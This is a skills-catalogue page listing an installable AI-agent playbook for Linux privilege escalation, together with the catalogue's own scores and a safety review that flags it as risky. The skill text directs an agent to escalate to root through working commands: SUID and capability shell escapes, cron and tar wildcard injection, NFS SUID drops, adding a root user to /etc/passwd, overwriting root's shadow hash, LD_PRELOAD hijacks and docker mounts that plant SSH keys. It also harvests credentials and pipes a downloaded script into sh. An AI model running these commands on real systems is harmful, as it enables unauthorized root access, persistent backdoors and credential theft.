linux-privilege-escalation
Linux privilege escalation playbook
Install / Use
npx skills add yaklang/hack-skills --skill linux-privilege-escalationInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of linux-privilege-escalation
linux-privilege-escalation scores 86/100 on our quality scale, 741st of 1,111 Security skills we index.
Its SKILL.md is 10 KB long, well organised into 65 sections with 19 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so linux-privilege-escalation is actively maintained.
- Our last check on 2026-11-03 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit โ read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands (1 minor note below). An AI review judged it risky (a second model did not confirm it as malicious): Directs the agent to create root backdoors (SUID bash, add root-equivalent users to /etc/passwd, replace root password hashes in /etc/shadow).
- noteInstalls by piping a downloaded script into a shellline 292
| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |
AI review: risky
- Directs the agent to create root backdoors (SUID bash, add root-equivalent users to /etc/passwd, replace root password hashes in /etc/shadow)
- Instructs credential theft and unauthorized privilege escalation (harvest .bash_history, SSH keys, configs; exploit SUID/sudo/capabilities/kernel to gain root)
- Includes a curl | sh install of LinPEAS and tells the agent to run offensive enumeration/exploitation tools
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk โ read a skill before letting an agent act on it.
linux-privilege-escalation compared with similar skills
All 4 of these similar skills score higher than linux-privilege-escalation; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| linux-privilege-escalation (this skill)by yaklang | 86 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install linux-privilege-escalation?
- Run
npx skills add yaklang/hack-skills --skill linux-privilege-escalation. The install tabs above show the steps for each supported agent. - Which AI agents does linux-privilege-escalation work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is linux-privilege-escalation safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands (1 minor note below). An AI review judged it risky (a second model did not confirm it as malicious): Directs the agent to create root backdoors (SUID bash, add root-equivalent users to /etc/passwd, replace root password hashes in /etc/shadow). It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is linux-privilege-escalation still maintained?
- The repository was last updated about 2 months ago, so linux-privilege-escalation is actively maintained.
Skill content
View source on GitHubname: linux-privilege-escalation description: >- Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.
SKILL: Linux Privilege Escalation โ Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques when the target is a container and you need to escape to host
- linux-security-bypass when facing restricted shells, AppArmor, SELinux, or seccomp
- linux-lateral-movement after obtaining root for pivoting to adjacent hosts
- kubernetes-pentesting when the host is a Kubernetes node
Advanced Reference
Also load SUID_CAPABILITIES_TRICKS.md when you need:
- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
- Capability-specific exploitation for each dangerous cap
- Custom SUID binary exploitation methodology
Also load KERNEL_EXPLOITS_CHECKLIST.md when you need:
- Kernel version โ exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
- Exploit compilation tips and cross-compilation notes
- Kernel exploit stability assessment
1. ENUMERATION CHECKLIST
Run these immediately after landing a shell:
System Info
uname -a # Kernel version
cat /etc/os-release # Distro and version
cat /proc/version # Kernel compile info
hostname && id && whoami # Current context
Sudo & SUID/SGID
sudo -l # What can we run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
getcap -r / 2>/dev/null # Files with capabilities
Cron & Timers
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all # systemd timers
Writable Files & Dirs
find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow # Check permissions
find / -perm -o+w -type d 2>/dev/null # World-writable dirs
Network & Services
ss -tlnp # Listening services
cat /proc/net/tcp # Raw TCP connections
ps aux # Running processes
env # Environment variables (credentials?)
Credential Locations
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
2. SUID/SGID EXPLOITATION
GTFOBins Methodology
- Find SUID binaries:
find / -perm -4000 -type f 2>/dev/null - Cross-reference each with GTFOBins
- Use the "SUID" section specifically โ not all binary abuse works with SUID
Quick-Win SUID Escalations
| Binary | Command |
|---|---|
| bash | bash -p |
| find | find . -exec /bin/sh -p \; -quit |
| vim | vim -c ':!/bin/sh' |
| python | python -c 'import os; os.execl("/bin/sh","sh","-p")' |
| env | env /bin/sh -p |
| nmap (old) | nmap --interactive โ !sh |
| awk | awk 'BEGIN {system("/bin/sh -p")}' |
| less | less /etc/passwd โ !/bin/sh |
| cp | Copy /etc/passwd, add root user, copy back |
Shared Library Hijacking (SUID Binary)
ldd /usr/local/bin/suid_binary # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so" # Find load paths
# If it loads from a writable directory โ inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) โ setuid(0); system("/bin/bash -p")
3. CAPABILITIES ABUSE
| Capability | Risk | Exploitation |
|---|---|---|
| cap_setuid | Critical | python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' |
| cap_dac_override | Critical | Read/write any file regardless of permissions |
| cap_dac_read_search | High | Read any file โ dump /etc/shadow |
| cap_sys_admin | Critical | Mount filesystems, BPF, namespace manipulation |
| cap_sys_ptrace | High | Inject into root processes via ptrace |
| cap_net_raw | Medium | Sniff traffic, ARP spoofing |
| cap_net_bind_service | Low | Bind to privileged ports (<1024) |
| cap_fowner | High | Change ownership of any file |
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
4. CRON / TIMER ABUSE
Writable Cron Scripts
# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/
# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron โ /tmp/bash -p
PATH Hijacking in Cron
# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
Wildcard Injection (tar)
# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments
pspy โ Monitor Processes Without Root
# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes
5. NFS NO_ROOT_SQUASH
# On attacker: check exported shares
showmount -e TARGET_IP
# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On target:
/share/bash -p # root shell
6. WRITABLE /etc/passwd OR /etc/shadow
Writable /etc/passwd
# Generate password hash
openssl passwd -1 -salt xyz password123
# โ $1$xyz$...hash...
# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd
# Or replace root's 'x' with generated hash (if no shadow file)
Writable /etc/shadow
# Generate SHA-512 hash
mkpasswd -m sha-512 password123
# Replace root's hash in /etc/shadow
7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO
# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary
8. DOCKER GROUP โ ROOT
# If current user is in the docker group:
id # check for "docker" in groups
# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'
9. PYTHON / PERL / RUBY LIBRARY HIJACKING
# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'
# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF
# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation
10. AUTOMATED TOOLS
| Tool | Purpose | Command |
|---|---|---|
| LinPEAS | Comprehensive enumeration | curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh |
| linux-exploit-suggester | Kernel exploit suggestions | ./linux-exploit-suggester.sh |
| pspy | Monitor processes (no root needed) | ./pspy64 |
| LinEnum | Legacy enumeration | ./LinEnum.sh -t |
| GTFOBins | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ |
11. PRIVILEGE ESCALATION DECISION TREE
Low-privilege shell obtained
โ
โโโ sudo -l shows entries?
โ โโโ GTFOBins match? โ exploit directly
โ โโโ env_keep has LD_PRELOAD? โ LD_PRELOAD hijack (ยง7)
โ โโโ NOPASSWD on custom script? โ review script for injection
โ โโโ (ALL) with password? โ check for password reuse/hashes
โ
โโโ SUID/SGID binaries found?
โ โโโ Standard binary on GTFOBins? โ SUID exploit (ยง2)
โ โโโ Custom binary? โ reverse engineer, check libs (strace/ltrace)
โ โโโ Shared lib from writable path? โ library hijack (ยง2)
โ
โโโ Capabilities on binaries?
โ โโโ cap_setuid? โ instant root (ยง3)
โ โโโ cap_dac_override? โ write /etc/passwd (ยง6)
โ โโโ cap_sys_admin? โ mount / namespace tricks
โ โโโ cap_sys_ptrace? โ process injection
โ
โโโ Cron jobs running as root?
โ โโโ Writable script? โ inject payload (ยง4)
โ โโโ Missing full path? โ PATH hijack (ยง4)
โ โโโ Uses wildcards? โ wildcard injection (ยง4)
โ
โโโ Writable sensitive files?
โ โโโ /etc/passwd writable? โ add root user (ยง6)
โ โโโ /etc/shadow writable? โ replace root hash (ยง6)
โ โโโ systemd unit files writable? โ add ExecStartPre
โ
โโโ Docker/LXD group membership?
โ โโโ Yes โ mount host filesystem (ยง8)
โ
โโโ NFS shares with no_root_squash?
โ โโโ Yes โ SUID binary via NFS (ยง5)
โ
โโโ Kernel version old/unpatched?
โ โโโ Check KERNEL_EXPLOITS_CHECKLIST.md
โ
โโโ None of the above?
โโโ Run LinPEAS for comprehensive scan
โโโ Check for password reuse (bash_history, config files)
โโโ Check internal services (127.0.0.1 listeners)
โโโ Monitor processes with pspy for hidden opportunities
Related Skills
x402
121.0kSet up Browser Use Cloud payments with x402 โ pay per request from a crypto wallet (USDC on Base mainnet), no signup or API key.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way โ as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an emโฆ
design
149.0kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVGโฆ
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit โ see the Safety scan above for what the skill file itself contains.
